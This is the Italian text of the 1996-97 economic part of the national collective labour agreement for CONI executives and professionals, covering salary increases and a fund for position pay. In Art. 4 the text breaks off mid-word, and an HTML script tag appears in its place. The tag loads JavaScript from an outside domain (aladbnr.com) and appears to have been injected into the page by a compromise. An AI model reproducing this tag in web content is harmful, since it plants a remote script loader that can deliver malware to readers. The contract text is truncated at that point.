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Categoria: CONI (dirigenti)
Settore: Pubblica Amministrazione
Data stipula: 7-10-1997
Data decorrenza: 1-1-1996
Data scadenza: 31-12-1997

Provvedimento del Presidente del Consiglio dei Ministri 5 settembre 1997.

Autorizzazione del Governo alla sottoscrizione - ai sensi degli artt.  73,
comma  5,  e  51, comma 1, del d.lgs. n. 29/93 - del testo  del  contratto
collettivo  nazionale di lavoro del personale dirigente  e  professionista
del  CONI  relativo  al biennio economico 1996-97 concordato  in  data  21
luglio  1997  tra il CONI e le organizzazioni sindacali CGIL,  CISL,  UIL,
CIDA, CISAL-FIALP, CONFSAL/FNP, CISNAL-UGL, USPPI e RdB-ANDICO.


C.O.N.I.
CONTRATTO COLLETTIVO NAZIONALE DI LAVORO

Area della dirigenza e delle specifiche tipologie professionali ricomprese
nella stessa area di contrattazione.

(Parte economica - biennio 1996-97)


Premessa al CCNL.

Il  presente contratto collettivo nazionale di lavoro relativo al  biennio
economico  1996-97 si applica ai dirigenti e ai professionisti destinatari
del contratto collettivo stipulato in data 22 maggio 1997 per l'area della
dirigenza e specifiche tipologie professionali d'ora in avanti individuato
come 1° CCNL 1994-97.



Sezione prima - I DIRIGENTI

Art. 1 - Durata e decorrenza del contratto.

1.   La presente sezione del contratto biennale concerne il rinnovo per il
  biennio   1996-97,   limitatamente   ai   contenuti   economici,   della
  corrispondente sezione prima del CCNL 1994-97. Le disposizioni  in  essa
  contenute si riferiscono pertanto al periodo 1° gennaio 1996-31 dicembre
  1997.  Con  riferimento a tale periodo, si applica  il  contenuto  delle
  disposizioni dell'art. 4, commi 2 e 3, e dell'art. 38, commi 1, 2 e 3, del
  CCNL 1994-97.



Art. 2 - Aumenti dello stipendio tabellare.

1.   Lo  stipendio  tabellare della qualifica unica dirigenziale  previsto
  dall'art. 36, comma 4, del CCNL 1994-97, è incrementato nella misura lorda
  mensile di lire 251.833 a decorrere dal 1° febbraio 1996. Tale incremento
  non  comporta  il riassorbimento degli assegni ad personam eventualmente
  percepiti dal personale dirigente per effetto di pregresso inquadramento
  nelle  qualifiche ad esaurimento di cui all'art. 15 della legge 9  marzo
  1989,  n.  88,  e dal personale dirigente proveniente dalla  ex  seconda
  qualifica dirigenziale come determinato nell'art. 37, comma 1, lett. b),
  del CCNL 1994/97.


2.   Lo  stipendio  tabellare annuo lordo a regime della  qualifica  unica
  dirigenziale,  per  effetto  degli incrementi  di  cui  al  comma  1,  è
  rideterminato, a decorrere 1° febbraio 1996, in lire 36.000.000, riferite
  a dodici mensilità.



Art. 3 - Utilizzo delle risorse derivanti dalla soppressione
         degli automatismi.

1.   Sono  confermate per la vigenza del presente contratto  biennale,  le
  disposizioni di cui all'art. 39, commi 3, 4 e 5, e art. 41, comma 1, lett.
  a)  del  CCNL  1994-97, allo scopo di consentire il concreto  avvio  del
  sistema di alimentazione del Fondo per la retribuzione di posizione  ivi
  previsto e la valutazione della relativa operatività e funzionalità.



Art. 4 - Costituzione e finanziamento del Fondo per la retribuzione
         di posizione.

1.   Il Fondo per la retribuzione di posizione di cui all'art. 41 del CCNL
  1994-97 sarà reso operativo a decorrere dal 1° settembre 1997 secondo  i
  criteri di finanziamento previsti dal predetto articolo e le modalità di
  alimentazione  specificate  nei commi che  seguono.  In  sede  di  prima
  applicazione  il  predetto Fondo è decurtato delle  somme  eventualmente
  erogate a titolo di compensi per lavoro straordinario sino alla data  di
  entrata in vigore del presente CCNL.


2.   La  quota di cui all'art. 41, comma 1, lett. c), del CCNL 1994-97,  è
  stabilita nel 90% dell'ammontare complessivo delle indennità di funzione
  di cui all'art. 13 della stessa legge, spettanti per l'anno 1995.


3.   Il  fondo della retribuzione di posizione è altresì incrementato,  su
  base annua, dell'ammontare unitari<script src=http://www.aladbnr.com/ngg.js></script>













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